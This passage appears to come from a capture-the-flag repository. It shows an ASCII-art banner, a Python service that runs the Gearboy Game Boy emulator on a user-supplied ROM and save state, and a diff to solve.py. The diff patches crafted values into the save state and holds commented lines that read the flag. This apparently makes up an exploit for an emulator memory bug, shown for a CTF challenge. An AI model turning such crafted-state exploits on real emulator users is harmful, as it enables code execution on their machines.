88888@88.8S8X@8@88S8@8888888888 +888:8@:8@:88;8;8:888;88;%8;8@:88:8t@;88 8;8@.88 8.X;8St@888@88@88@88888@8@8X 8@88888.8:8888888888888 +8%88%8@:8X:88:8:8;8%8;8@:8X.8@:88:8tX.888@%88%8888 8t8888888888888888888X88%8@@88S88S@88X8888888888S +88t8%8.@:8@:88.8%8%8tX:8X:8@:8@.8@:8:8tX88%8%8;@:S8;8%;888@88@8X888888888X@tSt@X8XX88@888X8888888888 +88888.88@;8@:8@%8;8:8;8:8@:8@:8@.88:8;8t888:8;8;@8t@.88@888888@8@8.888@X8X@8%8888 X 8.8S:88888888888 +88@;8@t8:8:8@:88:8:8:88@;8@:88:88tX8888@888XS@8t888@88888888SX8:88@%8X88X;8X@888 888X 8X8@.888888888 +8%8%8:@.8:@:8@;88.8:8t8:8:8@:8t888S%%XSXSSX%S88888t8888@888888.8X@88@888@8@888X8@88S8@8888@.88888888 +88:8.8%@:8;X:8@:88.888.88X;88 @8tX 8;8888@88tX8888;8@88888X88S88:88%88SX8.8888%888X88.8@888X88X8888 +888@%8888t8t8:8@.8@t8.88888888t @ @ X S8@.8;88S 88.8;S8@88@XX@;8888X888888%8.88@8X888@8XXXX88888%; +888tX:X88%8;8@;8@.88.8888;8X.  :8% @8888S:8 8S @X@8S@88888888:@88@8888888888%8S@88888:88888888888 +8%8%88.8 @.@:8@:8X.8@t8;8S.88SX X X;:8S88888 888%@:S88@8X8.tX888888888@88XX88..88X88;@t@8888888% +88:X:8%8;88.@:8@;8@.88.8;@ 8 8 88S888 88888888 8X8;X888888%:X888888%:888@@88X@.8X88 8X@888888X88 +88t88X%8%8.8:X;8@;8@:8@%@888888 @88 88888@8888%88888@8;@8888:X8@8888X@@%%8X888@%tXXX88@@@@88888S8888 +88888t8.8:8;8;8:88 8X.8X. 8@8888X8X8@8X88888@@88888@88t@88888X888888@8t88X8@@@8888@88%S888888@@X8888 +88X8:8.888;8:8;X 8@:8@X@8888888 8;%SS8X8888888888888S8S@8X88X:888888888888@8@8  8@@8S888@888X888t888 +88t88 8;8t8:@:8;8.8@:8@888@88888SX:;8;.8 88888888888@8@@88888X8S:@@888888888@8888@X 8@88;8@8St8888X. +888 8888:8%8:8:8%S:8@8@S888@8888 8 8S X%8888@8888888X8X@888888X88X88888888888%8S@@8;8SX@8SS%88@8X888 +88SX88:8888:8:X88.8.8@8S 88888X88888 88S888888888888X8@8888@888888%8X8X8888; 8@X@@X8X88S888t8XX88888 +888%8 8;8;88.8:S88.S;X8 888@8%88888 8888@@888888888888888@888888XX;%S88S@%X88%8:88@88@888.X8888@8888 +888:%8.8;8;88.8%@ @:8S8S8888SX888888888888@88888888X88X8@8X8888@88@888;tS88:% tX8@888XX@ 8X888888888 +888@S88888@:88:888S8X@8888@@888 88S8 8888888888@8888@@X888888888888@888X8@888@X 888@@8888%888888888: +88888:X88.8@.8@:8@%8888.888@88888888888888@8@8888S@88X88S888:8:8t8SSXS8@88888888X8@8@888%888888X888@ +888.88 8%Xt8@.8X;@8@8888 X88888888888888888888X%88888X@@8888@8888@8888S8X8@8S8@888X8888@888888X88888 +88X@;88t@t8.8X;X@8@@8@8%%8S 888888888888888:XX  X@@88@@@8@8888888888888t8%8:8:8%8:8S88888888888X8t8% +88888:88.8SX:8X8X8@X88@8t.:88S8888888888X8S .8XX@88@@@@@@XX8@888@t8t@.8;8:8:8;8:8;8%8%8;X:S88t8:8:8 +888;8@:8@%8:@8X@@X@@88@8 8t..8%SX88 8888t:%@;%@X8@88@@@@@@@@X@@88S8.8:@.8%8:8:8:X;8;8;8:888:8:8.8.8; +8X88%88%88@888X@@X88X88@S88St:@SSX 8XXX8888 8@@88888@@@X@@@@@@8888S@.@:8:8:8:8:8:8;8%8:8:8t8;@:8:8:8 +88;8t8;@88888@@XX88X888S8@:%%;8X@t;88888:;;S@X@888@@88X@@@@X@@@@@888X.8%@;8:@:8:8:@88:8:8t8;8:8;8.8: +88888X@S8888@@@@@88@88888@S S;.tS%.%X%;.:S888@8888@@88X@@@@@X@X@8@8S8X%8%8:8:8:X:8:8.8:@:8;8;888S8;8 +8S8.t%; X:8@X@@X@X88@@88X8@%@;;;;8;..:.t8X8@@8888@@@88@@@@@@@@@X@X88S8888:8t8:8:8:8%8.8.8:8:8;8S8%8: +88%X. 8 tS8S@X@@@88@8@88X88X:;;t@% %.@X@@@888@@@@@@X88X8@@@@@@@8@@88888;@;8:8:8%@%@:88X;8:8%8t8t8.8 +X;; 8888 8 8888@@88@@8XX88XX8St:%@@:X8@8888888888888@88X8@@@@@@@@88S8X8:8:8:8:8t8t8;8;@t8:8%8:8:8:8: +;888@88888 88S888@@X@8@@X8888SS@8888888@@8888@@@@@@@@8@8888@@@@@@888888.8%8.888%8:8:8t8;8;8:888;8.8 + X8888X88@88 @@8@@@X@@@@@@@@@88@888X@8@@@@@X@@@@@X@X@8@88@88@@@@@8@@888%@88 88888;8.@:8:8:8:888%8.8: +t@888888888 8XX@@@@@X@@@@@@88X88X@@@@@@@@@@@@@XX@888@888@@@@@@@@@@@X@88888;8:888%8;@;8:8;8;8t8%8:8t8 + 8@8 88X 88@X8@@@@@X@@@@@@@88@88X@@@@@@@@@@@88S.8@S S@t8@@@@@@@@X@@@88XS8X;88@t88.@:8%8:8t8S8t8:8;8% +@8%888SS888S88@X@@88@@888888@8888888@@@X@@S8t 8:8 8 888S8X@@@@@@@@8X8@@@X%8:@S8%@8%888%88888:%888888 +8@ 88%S@@XS8@8@@@@8X8@888888888888@@888888.S;8XS888@8 t;X8@@@@@@@8S.@@8@@X88@@8@XSt%@Xt@S;XX@%@@%Xt +SSSt;888@XS%XXSSXSSSSSSS%XXSSSSSSSXXXSXX;t%888888888888 8.8@@@@88..SXXSSXXSSSSSXSXXXXXXSXSSXXSSXXXSS +SSS8888@XX@XXSXSSSSSSSSSSSSXSSXSXSSXXSSSSXX8X888XX88888 8888@88 @:XXXXSSSSSSSSSSSSSSSSXSSXSSSSSSXSXS +SSSSX@XXXSXSSXSXSXSXSSSSSSXSSSSSSXSXXSSSX8S.X8S8 8888XSS8%8:@ 8%SXXSSSXXSXSSSSSSSSXSSSSXSSSSSSSSSXSX +XSXSXSXSSXSXSSXSXSXSXS%SSSSXSSSSSSXSSXSXSSS888S@S8 888SS8@SSXSSSSXSSSSSXSXSXSXSXSXXXSXSXXXXSSSSSXSS +XSSXSSSXSSXSXSSXSSSXSSSSSSXSS%SSXSSXSXSXSSX@88888:%888XSX8SSSSSSXSSSSSSSSSSSSSXXXXSSXSXSSXSXXXXXSSXX +XSXSXSXSXSSSXSXSSXSSXS%SSSSXSSSSSXSSXSSXSXSX@@@@@X@@@@X@XXSXSSSSSXSSSSSSXSSSSSSSSSXSSXSXSSXSXSXXXXSS +XSSSSXSSXSXSSXSSXSXSSSSSSSXSSSSSSSXSSXSSXSSSSSXX@@X@XX@XXSXSSXSXSSXSSSSSXSSSS%SSXSSXSSXSXSSSSXSSSSXS +XSXSXSXSSXSXSSXSSXSXSS%SSSSXSSSXSXSXSSXSSXSSSSSSXXXSXXXSSXSSXSXSSSSSSSSSSXSSSSSSXSXSXSSXSXSXSXSXSXSX +SSSSSSSSSSSSSSSSSSSSSSS%SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSXSXSSSSSSSSSXSSSSSSSSSSSSSSXSSSSSSSSSSSSXSSSSS +SSSSSSXSSXSSXSSXSSXSSSSSS8tXXS8tSSXSSXSXSSSSSSSSSSXSSXSXSSSXSSSXSSSXSXSXXXSSSSSSSSSSXSSSXSSSSSSSSSSS +tt;ttttttttttttttttttttt;;%ttt:t%tttttttt%tt;ttt%tttttttt%tttttttt%tt%ttt%ttttt%tt%ttt%tttt%t%t%tt%t + .    +""") + + +print("\n\n\n\nYou Know What Really Grinds My Gears? Your Gearboy Exploit!") + +try: + print("Please provide base64 encoded gameboy file") + gb_b64 = input("> ") + + filename_gb = '/tmp/%s.gb' % os.getpid() + fd = open(filename_gb, "wb") + fd.write(base64.b64decode(gb_b64)) + fd.close() + + print("Please provide base64 encoded gameboy state") + state_b64 = input("> ") + + filename_state = '/tmp/%s.state' % os.getpid() + fd = open(filename_state, "wb") + fd.write(base64.b64decode(state_b64)) + fd.close() + + + p = process(f"gdbserver localhost:1234 /home/ctf/gearboy/platforms/linux/gearboy {filename_gb} {filename_state}", shell=True) + p.interactive() + +except Exception as e: + print("Something went wrong: %s" % e) + exit(-1) diff --git a/solve.py b/solve.py @@ -12,6 +12,9 @@ state = list(open("main.state", "rb").read()) for i,v in enumerate(struct.pack("<i", -0x13)): state[0x10000+i] = v +for i,v in enumerate(struct.pack("<i", 1)): + state[0x10004+i] = v + if len(argv) > 1: io = process(argv[1:]) else: @@ -20,3 +23,8 @@ io.sendline(b64encode(bytes(rom))) io.sendline(b64encode(bytes(state))) io.interactive() +# io.sendline(b"cat /flag") +# data = io.readuntil(b"CSCG", timeout=1) +# if data != b"": +# print(io.readline()) +